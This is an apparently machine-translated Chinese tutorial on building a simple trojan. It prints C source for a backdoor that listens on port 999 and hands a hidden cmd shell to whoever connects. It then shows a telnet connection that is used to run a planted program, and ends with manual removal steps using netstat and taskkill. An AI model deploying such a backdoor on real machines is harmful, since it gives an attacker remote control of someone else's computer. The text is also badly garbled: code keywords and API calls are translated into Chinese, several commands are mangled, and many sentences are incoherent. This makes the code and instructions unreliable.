计算机已经进入我们的生活,我们的生活,感觉已经离不开计算机安全的计算机和网络,today Xiaobian推荐一些计算机病毒和木马防御相关的文章在这里,欢迎围观参考,想了解更多,请继续关注。


一、前言


今天,病毒和木马技术的发展,因为两者是相辅相成的,你拥有我,我拥有你,所以他们之间的界限不再那么明显,对方往往通过一些其他的技术达到自己的目的,所以现在大部分时间会直接称为恶意代码。这次我想用两篇文章讨论的病毒和木马的简单组合的分析和预防。本文的第一部分是讨论服务器利用木马程序实现病毒的开始。在下一章中,我将讨论无论是服务器端和客户端的木马程序,该病毒和和P的分析病毒的联合治疗。


两。简单木马原理


由于木马技术与计算机网络有着密切的关系,所以它离不开socket套接字编程。在这里,我将不详细阐述socket套接字编程的细节。这是MSDN很详细,只是填充相应的内容为根据Socket编程过程中,模板。为了达到传播的效果,我们需要遵循的通信模型,和木马一般是C/S(客户端/服务器)模式,本文将谈,但不涉及客户端编程,事实上,我只是把cmd程序作为客户端,所以在本质上,它是C/S模式。


C/s模型的开发需要绑定服务器端的IP地址和端口号(攻击计算机),然后侦听和等待客户端(攻击者)的连接。客户端开始连接到相应的IP地址和端口号。接收服务器后,双方可以开始通信。这是基于tcp协议的通信,是下一个要使用的方法,另外还有一种基于UDP协议的方法。在服务器端进行相应的绑定后,客户端可以直接与服务器进行无连接的通信,可以看出TCP比UDP更可靠,UDP比tcp更有效。


本文中描述的服务器端编程的基本原则如下:


1。打开一个通信通道(绑定到一个端口),并通知本地主机它在某个地址接收客户请求。


2,等待用户向端口请求,通过侦听功能实现。


3,接收服务请求,对请求进行处理,发送响应信号,用接收函数实现。


4,回到第二步,等待其他客户的请求。


5、关闭连接。它是利用closesocket功能实现。


上述功能如下:


socket()RARR;绑定()RARR;听()RARR;接受()()closesocket RARR;


三,木马程序的编程实现。


当服务器端运行程序时,客户端可以通过telnet启动与服务器的连接。成功打开CMD窗口后,DOS可以由客户端直接控制。


#语用评论(库,ws2_32。库)#包括


#包括#定义masterport 999 / /使用的端口号


主()


{ wsadata wsada;


sockaddr_in sockaddrin;套接字CSocket,ssocket;


国际iaddrsize;process_information processinfo;


STARTUPINFO STARTUPINFO;焦szcmdpath { 255 };


初始化数据


zeromemory(processinfo,sizeof(process_information));ZeroMemory(STARTUPINFO,sizeof(STARTUPINFO));


zeromemory(wsada,sizeof(wsadata)); / /取得CMD路径


取得一个环境变量的值(全路径名


它 /负载ws2_32.dll(0x0202,WSADa);


/ /设置本地信息和具有约束力的协议,socket sockaddrin.sin_family = af_inet成立;


sockaddrin.sin_addr.s_un.s_addr = inaddr_any;sockaddrin.sin_port = htons(masterport);


CSocket = wsasocket(af_inet,sock_stream,ipproto_tcp,null,0,0); / /设置绑定端口999


绑定(CSocket,SockAddrIn(不知道为什么),sizeof(sockaddrin)); / /设置服务器监听端口


听(CSocket,1);iaddrsize = sizeof(sockaddrin);


连接到远程服务器,并配置隐藏窗口结构


ssocket =接受(CSocket,((不知道为什么)sockaddrin,iaddrsize);startupinfo.cb = sizeof(STARTUPINFO);


startupinfo.wshowwindow = sw_hide;startupinfo.dwflags = startf_usestdhandles startf_useshowwindow |;


startupinfo.hstdinput =(处理)ssocket;startupinfo.hstdoutput =(处理)ssocket;


startupinfo.hstderror = ssocket(手柄); / /创建匿名管道


CreateProcess(空,空,空,szcmdpath,真实,0,零,零,STARTUPINFO,processinfo);WaitForSingleObject(processinfo。hprocess,);


关闭进程句柄


CloseHandle(processinfo。hprocess);CloseHandle(processinfo。包含指定选择器的线程);


关闭套接字(CSocket) / / closesocket;


closesocket(ssocket); / /释放ws2_32.dll动态链接库


WSACleanup();


返回0;}


因为代码比较简单,所以这里不再需要分析了。


四、木马病毒的综合利用


在病毒;的自启动方式,是与外部援助;的作用,但这一次我病毒;它是通过植入木马,连接成功进入DOS命令开始后,但前提是需要重启木马。这里我使用两台电脑(或虚拟机),一个是客户端,一个是服务器端,服务器端有木马程序,现在服务器正在运行的木马。然后打开cmd程序在客户端,然后输入:


{ }查看plaincopy平原


Telnet 192.168.1.107 999


这个命令的意思是通过Telnet远程登录,连接到端口999上的192.168.1.107.after成功的IP地址的计算机,你可以找到计算机已连接到其他。


然后DOS命令可以用来控制目标计算机。假定目标计算机的根目录是存储在hacked.exe我写的程序之前,你可以运行它通过输入下面的命令:


{ } plaincopy SQL视图


开始: hacked.exe


在这个时候,hacked.exe程序已在目标计算机上执行,具体工作如下:


当然,我认为Hacked.exe一直放在对方的电脑。这样的前提下,会有很多的局限性,因为更好的办法是将hacked.exe程序从客户端到服务器端,然后启动它。然而,由于这种方法是比较危险的,为了避免人拿它来做坏事是别有用心,所以不再深入讨论。我的原则总是讨论如何更好地防范恶意程序和恶意代码,这是不完整的。没有更多的讨论是必要的,并没有进一步的讨论了。


五。特洛伊木马的杀害


为了实现上述代码是一个相对简单的前向链路的后门,并没有添加隐藏功能的过程中,有没有增加项目的启动,也就是说,当服务器重新启动计算机,该木马会失败,需要重新运行。我会告诉你如何手动杀了它当服务器被植入木马,服务器可以进入CMD(如果命令被劫持到参考我之前的文章),然后输入命令:


{ }查看plaincopy平原


netstat –ANO


此命令可以查看当前的网络连接状态,如图所示:


你可以看到在图中,本地端口999与主机的IP地址是192.168.1.104 TCP连接,也可以看到进程的ID值为1292(每个木马的PID值可能不同),一般的木马,在命令提示符下,你可以实现手术后,随着进一步的讨论,该木马的复杂性会更深,我会用专业的杀人工具或用自制的工具实现了功能。


PID值可用于查看进程、输入的文件名:


{ }查看plaincopy平原


找到计算机1292 |;


可以知道一个PID值为1292的进程的名称是minitrojan。exe采用PID值后,该木马程序可以从与TASKKILL命令计算机中删除:


{ }查看plaincopy平原


TASKKILL / / / T 1292


这个命令的意思是力( / F)终止与一个PID值1292和由此产生的任何过程( / T)。最后一步是找到的minitrojan.exe位置,并删除它,你可以把木马的计算机,它将不再这里描述。


六、总结


本文中的特洛伊木马需要在CMD下运行,虽然它远比图形用户界面直观,但这个小木马也会造成很大的威胁,但毕竟它是一个小马,可以用简单的DOS命令杀死,这是一个很好的交易,实际上,人工查杀病毒木马的过程就是这样的。木马病毒往往需要经验,需要敏锐的嗅觉。之后,杀死阶段需要完成病毒木马的进程,然后删除其主程序,即使是复杂的恶意软件,其原理基本相同。